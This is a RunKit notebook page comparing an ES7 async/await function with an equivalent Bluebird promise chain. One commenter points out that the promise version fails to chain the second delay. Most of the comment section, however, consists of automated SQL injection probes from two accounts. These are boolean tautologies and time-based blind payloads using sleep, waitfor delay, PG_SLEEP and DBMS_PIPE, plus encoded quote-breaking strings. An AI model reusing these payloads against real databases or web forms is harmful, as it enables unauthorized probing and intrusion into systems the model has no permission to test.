ES7 Async Functions

node v0.12.18
version: 1.0.0
endpointsharetweet
Async functions are a much easier way to create asynchronous code that has the benefits of promises, but maintains the structure of your old synchronous code. Instead of attaching .then and .catch methods, you can you can use normal semantics and try/catch statements:
var delay = require("bluebird").Promise.delay; function oldPromiseStyleFunction() { return delay(1000) .then(function() { console.log("One Second Passed!"); }) .then(delay(2000)) .then(function() { console.log("Two Seconds Passed!"); }) .catch(function() { console.log("An Error occured!"); }) } async function newAsyncFunction() { try { await delay(1000); console.log("One Second Passed!"); await delay(2000); console.log("Two Seconds Passed!"); } catch (anException) { console.log("An Error occured!"); } } await newAsyncFunction()
These two functions actually behave the same way.
Loading…

55 comments

  • posted 5 years ago by carusog
    Hi, thanks for sharing. There is an error in the promise version. On line 10 you need return a promise to be able to concatenate them. Right now both console logs are executed in parallel. Have a look at https://runkit.com/carusog/es7-async-functions-vs-promises
  • posted 4 years ago by therbendo
    500k?
  • posted 2 years ago by rdvnplt027
    500k
  • posted 2 years ago by rdvnplt027
    Two Seconds Passed
  • posted a month ago by xsjybldb
    1
  • posted a month ago by xsjybldb
    1
  • posted a month ago by xsjybldb
    -1 OR 2+277-277-1=0+0+0+1 --
  • posted a month ago by xsjybldb
    -1 OR 2+816-816-1=0+0+0+1
  • posted a month ago by xsjybldb
    -1' OR 2+50-50-1=0+0+0+1 --
  • posted a month ago by xsjybldb
    -1' OR 2+129-129-1=0+0+0+1 or 'y0cfcMxd'='
  • posted a month ago by xsjybldb
    -1" OR 2+575-575-1=0+0+0+1 --
  • posted a month ago by xsjybldb
    if(now()=sysdate(),sleep(15),0)
  • posted a month ago by xsjybldb
    0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
  • posted a month ago by xsjybldb
    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
  • posted a month ago by xsjybldb
    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
  • posted a month ago by xsjybldb
    -1; waitfor delay '0:0:15' --
  • posted a month ago by xsjybldb
    -1); waitfor delay '0:0:15' --
  • posted a month ago by xsjybldb
    1 waitfor delay '0:0:15' --
  • posted a month ago by xsjybldb
    jW2uPOlr'; waitfor delay '0:0:15' --
  • posted a month ago by xsjybldb
    -5 OR 689=(SELECT 689 FROM PG_SLEEP(15))--
  • posted a month ago by xsjybldb
    -5) OR 419=(SELECT 419 FROM PG_SLEEP(15))--
  • posted a month ago by xsjybldb
    -1)) OR 829=(SELECT 829 FROM PG_SLEEP(15))--
  • posted a month ago by xsjybldb
    3HK9Q3jq' OR 188=(SELECT 188 FROM PG_SLEEP(15))--
  • posted a month ago by xsjybldb
    zI2PcPjT') OR 930=(SELECT 930 FROM PG_SLEEP(15))--
  • posted a month ago by xsjybldb
    29wEfm3U')) OR 97=(SELECT 97 FROM PG_SLEEP(15))--
  • posted a month ago by xsjybldb
    1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
  • posted a month ago by xsjybldb
    1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
  • posted a month ago by xsjybldb
    1'"
  • posted a month ago by xsjybldb
    @@xYR0f
  • posted 24 days ago by 67478559714940000843b0a0
    1
  • posted 24 days ago by 67478559714940000843b0a0
    1
  • posted 24 days ago by 67478559714940000843b0a0
    -1 OR 2+557-557-1=0+0+0+1 --
  • posted 24 days ago by 67478559714940000843b0a0
    -1 OR 2+616-616-1=0+0+0+1
  • posted 24 days ago by 67478559714940000843b0a0
    -1' OR 2+658-658-1=0+0+0+1 --
  • posted 24 days ago by 67478559714940000843b0a0
    -1' OR 2+862-862-1=0+0+0+1 or '8stYfFUr'='
  • posted 24 days ago by 67478559714940000843b0a0
    -1" OR 2+503-503-1=0+0+0+1 --
  • posted 24 days ago by 67478559714940000843b0a0
    1*if(now()=sysdate(),sleep(15),0)
  • posted 24 days ago by 67478559714940000843b0a0
    10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
  • posted 24 days ago by 67478559714940000843b0a0
    10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
  • posted 24 days ago by 67478559714940000843b0a0
    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
  • posted 24 days ago by 67478559714940000843b0a0
    1-1; waitfor delay '0:0:15' --
  • posted 24 days ago by 67478559714940000843b0a0
    1-1); waitfor delay '0:0:15' --
  • posted 24 days ago by 67478559714940000843b0a0
    1-1 waitfor delay '0:0:15' --
  • posted 24 days ago by 67478559714940000843b0a0
    1798BLuLp'; waitfor delay '0:0:15' --
  • posted 24 days ago by 67478559714940000843b0a0
    1-1 OR 987=(SELECT 987 FROM PG_SLEEP(15))--
  • posted 24 days ago by 67478559714940000843b0a0
    1-1) OR 945=(SELECT 945 FROM PG_SLEEP(15))--
  • posted 24 days ago by 67478559714940000843b0a0
    1-1)) OR 875=(SELECT 875 FROM PG_SLEEP(15))--
  • posted 24 days ago by 67478559714940000843b0a0
    1wJkLGdd7' OR 400=(SELECT 400 FROM PG_SLEEP(15))--
  • posted 24 days ago by 67478559714940000843b0a0
    1qvcaiV7Q') OR 809=(SELECT 809 FROM PG_SLEEP(15))--
  • posted 24 days ago by 67478559714940000843b0a0
    1Hs0iEvyd')) OR 863=(SELECT 863 FROM PG_SLEEP(15))--
  • posted 24 days ago by 67478559714940000843b0a0
    1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
  • posted 24 days ago by 67478559714940000843b0a0
    1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
  • posted 24 days ago by 67478559714940000843b0a0
    '"
  • posted 24 days ago by 67478559714940000843b0a0
    ����%2527%2522\'\"
  • posted 24 days ago by 67478559714940000843b0a0
    @@UQEp7

sign in to comment